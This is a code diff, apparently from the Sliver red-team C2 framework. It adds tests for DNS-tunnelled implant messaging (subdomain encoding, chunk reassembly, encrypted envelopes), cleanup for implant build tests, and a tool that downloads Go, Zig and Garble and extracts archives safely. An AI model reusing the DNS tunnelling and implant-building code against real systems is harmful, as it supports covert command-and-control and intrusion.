if resp == nil || resp.Rcode != dns.RcodeRefused {
t.Fatalf("expected refused response, got %+v", resp)
}
}
func TestIsC2Domain(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
@@ -162,14 +443,420 @@ func TestIsC2Domain(t *testing.T) {
}
}
func TestDetermineLikelyEncoders(t *testing.T) {
func TestDecodeSubdataBase32(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
sample := randomDataRandomSize(2048)
encodedSample, _ := encoders.Base58{}.Encode(sample)
b58Sample := string(encodedSample)
likelyEncoders := listener.determineLikelyEncoders(b58Sample)
_, err := likelyEncoders[0].Decode([]byte(b58Sample))
payload := make([]byte, 64)
rand.Read(payload)
original := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_NOP,
ID: 42,
Data: payload,
}
raw, err := proto.Marshal(original)
if err != nil {
t.Error("DetermineLikelyEncoders failed to decode sample")
t.Fatalf("failed to marshal message: %s", err)
}
encoded, _ := encoders.Base32{}.Encode(raw)
if len(encoded) < 12 {
t.Fatalf("encoded sample too short: %d", len(encoded))
}
subdomain := fmt.Sprintf("%s.%s", string(encoded[:12]), string(encoded[12:]))
for _, sample := range []string{subdomain, strings.ToUpper(subdomain)} {
msg, checksum, err := listener.decodeSubdata(sample)
if err != nil {
t.Fatalf("decodeSubdata failed: %s", err)
}
if !proto.Equal(msg, original) {
t.Fatalf("decoded message mismatch: %#v != %#v", msg, original)
}
if checksum != crc32.ChecksumIEEE(raw) {
t.Fatalf("unexpected checksum: %d", checksum)
}
}
}
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
_, _, err := listener.decodeSubdata("invalid")
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
if err != nil {
t.Fatalf("encode failed: %s", err)
}
_, _, err = listener.decodeSubdata(string(encoded))
if err != ErrInvalidMsg {
t.Fatalf("expected ErrInvalidMsg, got %v", err)
}
}
func TestHandleC2RejectsUnknownSession(t *testing.T) {
server := newTestDNSServer()
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_NOP,
ID: 0x00123456,
Data: []byte{1, 2, 3},
}
domain, err := encodeMessageDomain(example1, msg)
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
}
req := new(dns.Msg)
req.SetQuestion(domain, dns.TypeA)
resp := server.handleC2(example1, req)
if resp == nil || resp.Rcode != dns.RcodeNameError {
t.Fatalf("expected name error response, got %+v", resp)
}
}
func TestAccumulateInitDataReassembles(t *testing.T) {
server := newTestDNSServer()
client := dnsclient.NewDNSClient(example1, opts)
testData := make([]byte, 2048)
rand.Read(testData)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_INIT,
ID: 0x01020304,
Size: uint32(len(testData)),
}
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
if err != nil {
t.Fatalf("SplitBuffer failed: %s", err)
}
if len(domains) < 2 {
t.Fatalf("expected multiple init submessages, got %d", len(domains))
}
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
for _, domain := range domains {
subdata := strings.TrimSuffix(domain, example1)
subdata = strings.ReplaceAll(subdata, ".", "")
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
if err != nil {
t.Fatalf("decode subdata failed: %s", err)
}
subMsg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, subMsg); err != nil {
t.Fatalf("unmarshal submsg failed: %s", err)
}
subMsgs = append(subMsgs, subMsg)
}
shuffleDNSMsgs(subMsgs)
var reassembled []byte
for _, subMsg := range subMsgs {
data, complete, err := server.accumulateInitData(subMsg)
if err != nil {
t.Fatalf("accumulateInitData failed: %s", err)
}
if !complete && data != nil {
t.Fatalf("unexpected data before completion")
}
if complete {
reassembled = data
}
}
if reassembled == nil {
t.Fatalf("expected reassembled init data")
}
if !bytes.Equal(reassembled, testData) {
t.Fatalf("reassembled init data mismatch")
}
}
func TestSplitToChunksPadding(t *testing.T) {
data := []byte{1, 2, 3, 4, 5, 6}
chunks := splitToChunks(data, 4)
if len(chunks) != 2 {
t.Fatalf("expected 2 chunks, got %d", len(chunks))
}
if !bytes.Equal(chunks[0], []byte{1, 2, 3, 4}) {
t.Fatalf("unexpected first chunk: %v", chunks[0])
}
if !bytes.Equal(chunks[1], []byte{5, 6, 0, 0}) {
t.Fatalf("unexpected second chunk: %v", chunks[1])
}
for _, chunk := range chunks {
if len(chunk) != 4 {
t.Fatalf("unexpected chunk length: %d", len(chunk))
}
}
}
func TestOutgoingReadBoundaries(t *testing.T) {
session := &DNSSession{
outgoingBuffers: map[uint32][]byte{
1: {1, 2, 3, 4},
},
outgoingMutex: &sync.RWMutex{},
}
if _, err := session.OutgoingRead(1, 0, 0); err == nil {
t.Fatal("expected error for stop <= start")
}
if _, err := session.OutgoingRead(1, 0, 5); err == nil {
t.Fatal("expected error for stop > length")
}
if _, err := session.OutgoingRead(1, 5, 6); err == nil {
t.Fatal("expected error for start > length")
}
if _, err := session.OutgoingRead(2, 0, 1); err == nil {
t.Fatal("expected error for missing buffer")
}
read, err := session.OutgoingRead(1, 1, 3)
if err != nil {
t.Fatalf("unexpected error for valid read: %s", err)
}
if !bytes.Equal(read, []byte{2, 3}) {
t.Fatalf("unexpected read data: %v", read)
}
}
func runDNSReadEnvelopeRoundTrip(t *testing.T, noTXT bool) {
t.Helper()
server := newTestDNSServer()
sessionID := uint32(0x2468AC)
key := implantCrypto.RandomSymmetricKey()
dnsSession := newTestDNSSession(sessionID)
dnsSession.CipherCtx = serverCrypto.NewCipherContext(key)
server.sessions.Store(sessionID, dnsSession)
envelope := &sliverpb.Envelope{
ID: 99,
Type: sliverpb.MsgPing,
Data: []byte("roundtrip"),
}
if err := dnsSession.StageOutgoingEnvelope(envelope); err != nil {
t.Fatalf("StageOutgoingEnvelope failed: %s", err)
}
if len(dnsSession.outgoingMsgIDs) != 1 {
t.Fatalf("expected 1 outgoing message id, got %d", len(dnsSession.outgoingMsgIDs))
}
msgID := dnsSession.outgoingMsgIDs[0]
resolver := &testDNSResolver{server: server, parent: example1}
got, err := readEnvelopeViaDNS(t, resolver, sessionID, key, noTXT)
if err != nil {
t.Fatalf("ReadEnvelope failed: %s", err)
}
if got == nil || !proto.Equal(got, envelope) {
t.Fatalf("envelope mismatch: %#v != %#v", got, envelope)
}
if _, ok := dnsSession.outgoingBuffers[msgID]; ok {
t.Fatalf("expected outgoing buffer %d to be cleared", msgID)
}
}
func newTestDNSServer() *SliverDNSServer {
return &SliverDNSServer{
sessions: &sync.Map{},
messages: &sync.Map{},
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: false,
}
}
func newTestDNSSession(sessionID uint32) *DNSSession {
return &DNSSession{
ID: sessionID,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: 0,
}
}
func encodeMessageDomain(parent string, msg *dnspb.DNSMessage) (string, error) {
raw, err := proto.Marshal(msg)
if err != nil {
return "", err
}
encoded, err := implantEncoders.Base32Encoder{}.Encode(raw)
if err != nil {
return "", err
}
return joinSubdataToParent(string(encoded), parent), nil
}
func joinSubdataToParent(subdata string, parent string) string {
subdomains := []string{}
for i := 0; i < len(subdata); i += 63 {
stop := i + 63
if len(subdata) < stop {
stop = len(subdata)
}
subdomains = append(subdomains, subdata[i:stop])
}
return strings.Join(subdomains, ".") + parent
}
func sendEnvelopeViaDNS(t *testing.T, resolver *testDNSResolver, sessionID uint32, key [32]byte, envelope *sliverpb.Envelope) {
t.Helper()
plaintext, err := proto.Marshal(envelope)
if err != nil {
t.Fatalf("marshal envelope failed: %s", err)
}
cipherCtx := implantCrypto.NewCipherContext(key)
ciphertext, err := cipherCtx.Encrypt(plaintext)
if err != nil {
t.Fatalf("encrypt envelope failed: %s", err)
}
client := dnsclient.NewDNSClient(example1, opts)
msgID := uint32(0x01000000 | sessionID)
msg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_DATA_FROM_IMPLANT,
ID: msgID,
Size: uint32(len(ciphertext)),
}
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, ciphertext)
if err != nil {
t.Fatalf("SplitBuffer failed: %s", err)
}
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
for _, domain := range domains {
subdata := strings.TrimSuffix(domain, example1)
subdata = strings.ReplaceAll(subdata, ".", "")
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
if err != nil {
t.Fatalf("decode subdata failed: %s", err)
}
subMsg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, subMsg); err != nil {
t.Fatalf("unmarshal submsg failed: %s", err)
}
subMsgs = append(subMsgs, subMsg)
}
shuffleDNSMsgs(subMsgs)
for _, subMsg := range subMsgs {
raw, err := proto.Marshal(subMsg)
if err != nil {
t.Fatalf("marshal submsg failed: %s", err)
}
domain, err := encodeMessageDomain(example1, subMsg)
if err != nil {
t.Fatalf("encodeMessageDomain failed: %s", err)
}
data, _, err := resolver.A(domain)
if err != nil {
t.Fatalf("resolver.A failed: %s", err)
}
if len(data) != 4 {
t.Fatalf("expected 4-byte checksum, got %d", len(data))
}
got := binary.LittleEndian.Uint32(data)
want := crc32.ChecksumIEEE(raw)
if got != want {
t.Fatalf("checksum mismatch: got %d want %d", got, want)
}
}
}
func readEnvelopeViaDNS(t *testing.T, resolver *testDNSResolver, sessionID uint32, key [32]byte, noTXT bool) (*sliverpb.Envelope, error) {
t.Helper()
pollMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_POLL,
ID: sessionID,
Data: randomBytes(8),
}
pollDomain, err := encodeMessageDomain(example1, pollMsg)
if err != nil {
return nil, err
}
var respData []byte
if noTXT {
respData, _, err = resolver.AAAA(pollDomain)
} else {
respData, _, err = resolver.TXT(pollDomain)
}
if err != nil {
return nil, err
}
if len(respData) == 0 {
return nil, nil
}
manifest := &dnspb.DNSMessage{}
if err := proto.Unmarshal(respData, manifest); err != nil {
return nil, err
}
if manifest.Type != dnspb.DNSMessageType_MANIFEST || manifest.Size == 0 {
return nil, nil
}
bytesPerChunk := uint32(182)
if noTXT {
bytesPerChunk = 192
}
recvBuf := make([]byte, manifest.Size)
for start := uint32(0); start < manifest.Size; start += bytesPerChunk {
stop := start + bytesPerChunk
if manifest.Size < stop {
stop = manifest.Size
}
readMsg := &dnspb.DNSMessage{
ID: manifest.ID,
Type: dnspb.DNSMessageType_DATA_TO_IMPLANT,
Start: start,
Stop: stop,
}
domain, err := encodeMessageDomain(example1, readMsg)
if err != nil {
return nil, err
}
var readData []byte
if noTXT {
readData, _, err = resolver.AAAA(domain)
} else {
readData, _, err = resolver.TXT(domain)
}
if err != nil {
return nil, err
}
recvMsg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(readData, recvMsg); err != nil {
return nil, err
}
copy(recvBuf[recvMsg.Start:], recvMsg.Data)
}
plain, err := implantCrypto.NewCipherContext(key).Decrypt(recvBuf)
if err != nil && err != implantCrypto.ErrReplayAttack {
return nil, err
}
envelope := &sliverpb.Envelope{}
if err := proto.Unmarshal(plain, envelope); err != nil {
return nil, err
}
clearMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_CLEAR,
ID: manifest.ID,
Data: randomBytes(8),
}
clearDomain, err := encodeMessageDomain(example1, clearMsg)
if err != nil {
return nil, err
}
if _, _, err := resolver.A(clearDomain); err != nil {
return nil, err
}
return envelope, nil
}
func randomBytes(size int) []byte {
buf := make([]byte, size)
rand.Read(buf)
return buf
}
+44 -12
View File
@@ -21,6 +21,8 @@ package generate
import (
"fmt"
"os"
"path/filepath"
"strings"
"testing"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,6 +35,23 @@ var (
nonce = 0
)
func cleanupGeneratedArtifacts(t *testing.T, outputPath string) {
t.Helper()
if outputPath == "" {
return
}
projectDir := filepath.Dir(filepath.Dir(outputPath))
sliversDir := GetSliversDir()
rel, err := filepath.Rel(sliversDir, projectDir)
if err != nil || rel == "." || strings.HasPrefix(rel, "..") {
t.Logf("cleanup skipped for unexpected path %q", projectDir)
return
}
if err := os.RemoveAll(projectDir); err != nil {
t.Logf("cleanup failed for %s: %v", projectDir, err)
}
}
func TestSliverExecutableWindows(t *testing.T) {
// Wireguard C2
@@ -228,10 +247,11 @@ func trafficEncodersExecutable(t *testing.T, goos string, goarch string) {
debugHttpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, debugConfig)
nonce++
_, err := SliverExecutable(name, build, debugConfig, debugHttpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, debugConfig, debugHttpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
name = fmt.Sprintf("trafficEncodersProd_test%d", nonce)
prodConfig := &clientpb.ImplantConfig{
GOOS: goos,
@@ -247,10 +267,11 @@ func trafficEncodersExecutable(t *testing.T, goos string, goarch string) {
}
build, _ = GenerateConfig(name, prodConfig)
nonce++
_, err = SliverExecutable(name, build, prodConfig, debugHttpC2Config.ImplantConfig)
binPath, err = SliverExecutable(name, build, prodConfig, debugHttpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func mtlsExe(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
@@ -270,10 +291,11 @@ func mtlsExe(t *testing.T, goos string, goarch string, beacon bool, debug bool)
httpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, config)
nonce++
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func dnsExe(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
@@ -293,10 +315,11 @@ func dnsExe(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
httpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, config)
nonce++
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func httpExe(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
@@ -320,10 +343,11 @@ func httpExe(t *testing.T, goos string, goarch string, beacon bool, debug bool)
httpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, config)
nonce++
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func multiExe(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
@@ -351,10 +375,11 @@ func multiExe(t *testing.T, goos string, goarch string, beacon bool, debug bool)
httpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, config)
nonce++
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func multiWindowsService(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
@@ -381,10 +406,11 @@ func multiWindowsService(t *testing.T, goos string, goarch string, beacon bool,
httpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, config)
nonce++
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
// Pivots do not support beacon mode
@@ -408,10 +434,11 @@ func tcpPivotExe(t *testing.T, goos string, goarch string, debug bool) {
httpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, config)
nonce++
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func namedPipeExe(t *testing.T, goos string, goarch string, debug bool) {
@@ -434,10 +461,11 @@ func namedPipeExe(t *testing.T, goos string, goarch string, debug bool) {
httpC2Config := configs.GenerateDefaultHTTPC2Config()
build, _ := GenerateConfig(name, config)
nonce++
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func wireguardExe(t *testing.T, goos string, goarch string, beacon bool, debug bool) {
@@ -465,10 +493,11 @@ func wireguardExe(t *testing.T, goos string, goarch string, beacon bool, debug b
nonce++
certs.SetupWGKeys()
build, _ := GenerateConfig(name, config)
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
@@ -502,10 +531,11 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
httpC2Config := configs.GenerateDefaultHTTPC2Config()
nonce++
build, _ := GenerateConfig(name, config)
_, err := SliverSharedLibrary(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverSharedLibrary(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
@@ -537,6 +567,7 @@ func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
if err != nil {
t.Fatalf("%v", err)
}
defer cleanupGeneratedArtifacts(t, binPath)
// encode bin with sgn
bin, err := os.ReadFile(binPath)
@@ -577,8 +608,9 @@ func symbolObfuscation(t *testing.T, goos string, goarch string) {
httpC2Config := configs.GenerateDefaultHTTPC2Config()
nonce++
build, _ := GenerateConfig(name, config)
_, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
binPath, err := SliverExecutable(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
cleanupGeneratedArtifacts(t, binPath)
}
+215
View File
@@ -0,0 +1,215 @@
package assets
import (
"archive/tar"
"archive/zip"
"compress/gzip"
"fmt"
"io"
"io/fs"
"os"
"path/filepath"
"strings"
)
func extractTarGz(archivePath, destDir string) error {
file, err := os.Open(archivePath)
if err != nil {
return fmt.Errorf("open tar.gz: %w", err)
}
defer file.Close()
gz, err := gzip.NewReader(file)
if err != nil {
return fmt.Errorf("open gzip stream: %w", err)
}
defer gz.Close()
tarReader := tar.NewReader(gz)
for {
hdr, err := tarReader.Next()
if err == io.EOF {
break
}
if err != nil {
return fmt.Errorf("read tar entry: %w", err)
}
target, err := safeJoin(destDir, hdr.Name)
if err != nil {
return err
}
mode := hdr.FileInfo().Mode()
switch hdr.Typeflag {
case tar.TypeDir:
if err := os.MkdirAll(target, mode.Perm()); err != nil {
return fmt.Errorf("create dir: %w", err)
}
case tar.TypeReg, tar.TypeRegA:
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
return fmt.Errorf("create parent dir: %w", err)
}
out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, mode.Perm())
if err != nil {
return fmt.Errorf("create file: %w", err)
}
if _, err := io.Copy(out, tarReader); err != nil {
out.Close()
return fmt.Errorf("write file: %w", err)
}
if err := out.Close(); err != nil {
return fmt.Errorf("close file: %w", err)
}
case tar.TypeSymlink:
if filepath.IsAbs(hdr.Linkname) {
return fmt.Errorf("refusing absolute symlink: %s", hdr.Linkname)
}
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
return fmt.Errorf("create parent dir: %w", err)
}
if err := os.Symlink(hdr.Linkname, target); err != nil {
return fmt.Errorf("create symlink: %w", err)
}
default:
// Skip non-file entries like extended headers.
continue
}
}
return nil
}
func extractZip(archivePath, destDir string) error {
reader, err := zip.OpenReader(archivePath)
if err != nil {
return fmt.Errorf("open zip: %w", err)
}
defer reader.Close()
for _, file := range reader.File {
target, err := safeJoin(destDir, file.Name)
if err != nil {
return err
}
info := file.FileInfo()
if info.IsDir() {
if err := os.MkdirAll(target, info.Mode().Perm()); err != nil {
return fmt.Errorf("create dir: %w", err)
}
continue
}
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
return fmt.Errorf("create parent dir: %w", err)
}
in, err := file.Open()
if err != nil {
return fmt.Errorf("open zip entry: %w", err)
}
out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, info.Mode().Perm())
if err != nil {
in.Close()
return fmt.Errorf("create file: %w", err)
}
if _, err := io.Copy(out, in); err != nil {
in.Close()
out.Close()
return fmt.Errorf("write file: %w", err)
}
if err := in.Close(); err != nil {
out.Close()
return fmt.Errorf("close zip entry: %w", err)
}
if err := out.Close(); err != nil {
return fmt.Errorf("close file: %w", err)
}
}
return nil
}
func zipDir(baseDir, relRoot, destZip string) error {
root := filepath.Join(baseDir, relRoot)
if err := ensureDir(filepath.Dir(destZip)); err != nil {
return err
}
zipFile, err := os.Create(destZip)
if err != nil {
return fmt.Errorf("create zip: %w", err)
}
defer zipFile.Close()
zw := zip.NewWriter(zipFile)
defer zw.Close()
return filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
info, err := d.Info()
if err != nil {
return err
}
rel, err := filepath.Rel(baseDir, path)
if err != nil {
return err
}
header, err := zip.FileInfoHeader(info)
if err != nil {
return err
}
header.Name = filepath.ToSlash(rel)
if info.IsDir() {
if !strings.HasSuffix(header.Name, "/") {
header.Name += "/"
}
header.Method = zip.Store
_, err := zw.CreateHeader(header)
return err
}
header.Method = zip.Deflate
writer, err := zw.CreateHeader(header)
if err != nil {
return err
}
file, err := os.Open(path)
if err != nil {
return err
}
if _, err := io.Copy(writer, file); err != nil {
file.Close()
return err
}
if err := file.Close(); err != nil {
return err
}
return nil
})
}
func safeJoin(root, name string) (string, error) {
cleaned := filepath.Clean(name)
if filepath.IsAbs(cleaned) {
return "", fmt.Errorf("absolute path in archive: %s", name)
}
target := filepath.Join(root, cleaned)
rel, err := filepath.Rel(root, target)
if err != nil {
return "", fmt.Errorf("resolve archive path: %w", err)
}
if rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
return "", fmt.Errorf("archive path escapes destination: %s", name)
}
return target, nil
}
+148
View File
@@ -0,0 +1,148 @@
package assets
import (
"errors"
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
"time"
)
type runner struct {
logger *logger
httpClient *http.Client
outputDir string
workDir string
goIndex int
zigIndex int
garbleIndex int
zigMirrors []string
}
type config struct {
verbose bool
quiet bool
noColor bool
}
// Run executes the asset generation flow.
func Run(args []string) error {
cfg, showHelp, err := parseArgs(args)
if err != nil {
return err
}
if showHelp {
fmt.Println(usage())
return nil
}
repoRoot, err := findRepoRoot()
if err != nil {
return err
}
outputDir := filepath.Join(repoRoot, "server", "assets", "fs")
if err := os.MkdirAll(outputDir, 0o755); err != nil {
return fmt.Errorf("create output dir: %w", err)
}
workDir, err := os.MkdirTemp("", "sliver-assets-")
if err != nil {
return fmt.Errorf("create work dir: %w", err)
}
log := newLogger(cfg.verbose, cfg.quiet, cfg.noColor)
r := &runner{
logger: log,
httpClient: &http.Client{Timeout: 15 * time.Minute},
outputDir: outputDir,
workDir: workDir,
}
log.Header("Sliver Assets")
log.Meta("Workdir", workDir)
log.Meta("Output", outputDir)
defer func() {
log.ClearSection()
log.Logf("clean up: %s", workDir)
os.RemoveAll(workDir)
}()
if err := r.buildGoAssets(); err != nil {
return err
}
if err := r.buildZigAssets(); err != nil {
return err
}
if err := r.buildGarbleAssets(); err != nil {
return err
}
log.ClearSection()
log.Logf("")
log.Successf("Done")
return nil
}
func parseArgs(args []string) (config, bool, error) {
cfg := config{}
showHelp := false
for _, arg := range args {
switch arg {
case "-v", "--verbose":
cfg.verbose = true
case "--no-colors":
cfg.noColor = true
case "--quiet":
cfg.quiet = true
case "-h", "--help":
showHelp = true
default:
return config{}, false, fmt.Errorf("unknown argument: %s", arg)
}
}
if cfg.quiet {
cfg.verbose = false
}
return cfg, showHelp, nil
}
func usage() string {
return "Usage: assets [--verbose] [--quiet] [--no-colors]"
}
func findRepoRoot() (string, error) {
cwd, err := os.Getwd()
if err != nil {
return "", fmt.Errorf("get working directory: %w", err)
}
dir := cwd
for {
if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil {
return dir, nil
}
parent := filepath.Dir(dir)
if parent == dir {
return "", errors.New("unable to locate go.mod from current directory")
}
dir = parent
}
}
func ensureDir(path string) error {
if path == "" {
return errors.New("empty directory path")
}
return os.MkdirAll(path, 0o755)
}
func trimLeadingDot(path string) string {
return strings.TrimPrefix(path, "./")
}
+40
View File
@@ -0,0 +1,40 @@
package assets
const (
goVersion = "1.25.5"
zigVersion = "0.15.1"
garbleVersion = "1.25.5"
zigSourceParam = "source=sliver"
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
goTotal = 5
zigTotal = 5
garbleTotal = 5
)
var defaultZigMirrors = []string{
"https://pkg.machengine.org/zig",
"https://zigmirror.hryx.net/zig",
"https://zig.linus.dev/zig",
"https://zig.squirl.dev",
"https://zig.florent.dev",
"https://zig.mirror.mschae23.de/zig",
"https://zigmirror.meox.dev",
}
var goBloatPaths = []string{
"AUTHORS",
"CONTRIBUTORS",
"PATENTS",
"VERSION",
"favicon.ico",
"robots.txt",
"SECURITY.md",
"CONTRIBUTING.md",
"README.md",
"doc",
"test",
"api",
"misc",
}
+140
View File
@@ -0,0 +1,140 @@
package assets
import (
"fmt"
"io"
"net/http"
"net/url"
"os"
"path"
"path/filepath"
)
func (r *runner) downloadFile(url, dest string) error {
if err := ensureDir(filepath.Dir(dest)); err != nil {
return err
}
return r.downloadFileTo(url, dest)
}
func (r *runner) downloadFileTo(url, dest string) error {
tmpFile, err := os.CreateTemp(filepath.Dir(dest), ".download-*")
if err != nil {
return fmt.Errorf("create temp file: %w", err)
}
tmpName := tmpFile.Name()
defer func() {
tmpFile.Close()
os.Remove(tmpName)
}()
if err := r.logger.RunSpinner(fmt.Sprintf("fetch %s", downloadLabel(url)), func() error {
return r.fetchToWriter(url, tmpFile)
}); err != nil {
return err
}
if err := tmpFile.Close(); err != nil {
return fmt.Errorf("flush download: %w", err)
}
if err := moveFile(tmpName, dest); err != nil {
return fmt.Errorf("move download into place: %w", err)
}
return nil
}
func (r *runner) downloadToTemp(url, dir string) (string, error) {
if err := ensureDir(dir); err != nil {
return "", err
}
file, err := os.CreateTemp(dir, "download-*")
if err != nil {
return "", fmt.Errorf("create temp file: %w", err)
}
name := file.Name()
if err := r.logger.RunSpinner(fmt.Sprintf("fetch %s", downloadLabel(url)), func() error {
return r.fetchToWriter(url, file)
}); err != nil {
file.Close()
os.Remove(name)
return "", err
}
if err := file.Close(); err != nil {
os.Remove(name)
return "", fmt.Errorf("flush download: %w", err)
}
return name, nil
}
func (r *runner) fetchToWriter(url string, w io.Writer) error {
req, err := http.NewRequest(http.MethodGet, url, nil)
if err != nil {
return fmt.Errorf("build request: %w", err)
}
req.Header.Set("User-Agent", "sliver-assets")
resp, err := r.httpClient.Do(req)
if err != nil {
return fmt.Errorf("download %s: %w", url, err)
}
defer resp.Body.Close()
if resp.StatusCode < http.StatusOK || resp.StatusCode >= http.StatusMultipleChoices {
return fmt.Errorf("download %s: unexpected status %s", url, resp.Status)
}
if _, err := io.Copy(w, resp.Body); err != nil {
return fmt.Errorf("stream %s: %w", url, err)
}
return nil
}
func moveFile(src, dest string) error {
if err := os.Rename(src, dest); err == nil {
return nil
}
if err := copyFile(src, dest); err != nil {
return err
}
return os.Remove(src)
}
func copyFile(src, dest string) error {
in, err := os.Open(src)
if err != nil {
return fmt.Errorf("open source: %w", err)
}
defer in.Close()
if err := ensureDir(filepath.Dir(dest)); err != nil {
return err
}
out, err := os.Create(dest)
if err != nil {
return fmt.Errorf("create dest: %w", err)
}
defer out.Close()
if _, err := io.Copy(out, in); err != nil {
return fmt.Errorf("copy file: %w", err)
}
if err := out.Close(); err != nil {
return fmt.Errorf("flush dest: %w", err)
}
return nil
}
func downloadLabel(rawURL string) string {
parsed, err := url.Parse(rawURL)
if err != nil {
return rawURL
}
base := path.Base(parsed.Path)
if base == "." || base == "/" || base == "" {
return rawURL
}
return base
}
+65
View File
@@ -0,0 +1,65 @@
package assets
import (
"fmt"
"path/filepath"
)
type garblePlatform struct {
os string
arch string
filename string
url string
}
func (r *runner) buildGarbleAssets() error {
r.logger.Section("Garble")
platforms := []garblePlatform{
{
os: "linux",
arch: "amd64",
filename: "garble",
url: fmt.Sprintf("https://github.com/moloch--/garble/releases/download/v%s/garble_linux-amd64", garbleVersion),
},
{
os: "linux",
arch: "arm64",
filename: "garble",
